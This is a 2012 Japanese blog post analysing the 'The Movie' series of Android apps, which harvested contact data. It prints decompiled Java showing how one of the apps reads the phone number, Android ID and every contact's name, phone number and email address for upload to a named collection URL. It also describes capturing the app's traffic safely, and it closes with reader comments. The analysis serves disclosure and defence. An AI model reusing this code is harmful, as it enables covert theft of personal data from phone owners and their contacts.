luminのコードメモ

2012-04-12 個人情報漏れすぎ,

[] TSUNAKAN hack

またまた来ました大変なことをしてくれるAndroidアプリ


ヘンなアプリに要注意! データぶっこ抜きアプリか?Google playに不審なアプリが出回る - ライブドアニュース

ITライフハック |ヘンなアプリに要注意! データぶっこ抜きアプリか?Google playに不審なアプリが出回る


なんとか The Movieという名前がつくのが今回のアプリの特徴です。内容はそのアプリを動かした動画が見られます


結果から言いますと、このアプリは、アプリを実行した電話電話番号とAndroid_ID

自分名前電話帳に登録してある人すべての名前メールアドレスをこの人のサーバアップロードしてしまます


これらのアプリの総ダウンロード数GooglePlayの表示を足すと、66,600〜271,500。ダウンロードした人たちの連絡先に平均50人入っているとして、3,330,000〜13,575,000人という、とてつもない人数の個人情報が集まっているのではないかということです。


パケットキャプチャ真実発見するということで、解析してみました。

今回は、androidと言うことで、やっていることはまるわかり2つのアプローチから送信内容を確認します。


  1. ソースコードを見てみよう

Androidアプリjavaで書かれていることが多いので、無線LAN環境で常にパケットキャプチャされているので、そこに、PacketBlackHole があって、Androidアプリや、iPhoneアプリダウンロードした実体が容易に入手出来る環境になっていますダウンロードしたアプリをゴニョニョするとJavaソースコードの形で中身が見られます

問題の箇所は MainActivity.class

送信先

final String url = "http://depot.bulks.jp/get37.php";

public void onCreate(Bundle paramBundle)クラス内を引用しました。

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    this.androidid = Settings.Secure.getString(getContentResolver(), "android_id");
    this.tel = ((TelephonyManager)getSystemService("phone")).getLine1Number();
    Cursor localCursor1 = managedQuery(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    if (!localCursor1.moveToNext())
    {
      localCursor1.close();
      exec_post(this.androidid, this.tel, this.data);
      return;
    }
    this.id = localCursor1.getString(localCursor1.getColumnIndex("_id"));
    this.name = localCursor1.getString(localCursor1.getColumnIndex("display_name"));
    this.data = (this.data + "name:" + this.name);
    Cursor localCursor2 = managedQuery(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    label184: Cursor localCursor3;
    if (!localCursor2.moveToNext())
    {
      localCursor2.close();
      localCursor3 = managedQuery(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    }
    while (true)
    {
      if (!localCursor3.moveToNext())
      {
        localCursor3.close();
        this.data += "\n";
        break;
        String str = localCursor2.getString(localCursor2.getColumnIndex("data1"));
        this.data = (this.data + "\ttel:" + str);
        break label184;
      }
      this.email = localCursor3.getString(localCursor3.getColumnIndex("data1"));
      this.data = (this.data + "\temail:" + this.email);
    }
  }
}

ソースを読むと、getSystemService("phone")).getLine1Number(); という部分で。電話番号を取得、managedQuery(ContactsContract.CommonDataKinds.Phone. の部分で電話帳をよんでWebで送ろうとしています。怖いですね。ダウンロードから推計するとこんなアプリで数万人以上の個人情報が抜けてしまっているのです。

  1. パケットを見てみよう(ただし安全に)

パケットを見てみたいのですが、安全にやるために、プログラムを改変して、社内のサーバデータを送るようにしました。これで安心して実行できます。更に安全に行うために、Androidエミュレータを用意しその環境で実行しました。


404 Not Found


PCでこのPacketBlackHole Probeをつかって常にパケットをとっていますので、あとは探すだけです。wiresharkですとこんな感じに見えます。まさに先ほどのソースでやっていたことが実際に見えるわけです。

f:id:lumin:20120412222936p:image

ソースコードページが見つかりません から引用させていただいています

  1. 該当アプリの一覧

TSUNAKAN - Google Play の Android アプリ

hamnaruka - Google Play の Android アプリ

hirokatsu, Android用アプリケーション/ゲームのコメント, AndroLib, Android用アプリケーション/ゲーム

sceab15csceab15c 2012/04/13 23:34 レビューに警告を書くためにインストールだけしたのですか
このアプリはインストールしただけでも個人情報が送信されますか?

BloodyBambooBloodyBamboo 2012/04/14 22:25 しかし、簡単に作れる、簡単に承認してしまうのも問題でしょう。
権限を細かくチャックするとか、特定権限を除外できるように鳴らないものでしょうかね?
それとパケットキャプチャ部分のASCII部だけモザイクがかかってますが、HEX部分がそのままでは意味がありませんよ。至急対応されたし。

luminlumin 2012/04/16 19:22 この部分は全部テスト用のデータで、ASCIIでみると嘘っぽいので、モザイクをかけただけなので、HEXをデコードしても問題ないですよ。

同類ブログリンク
びっくり爺さん
山崎はるかさん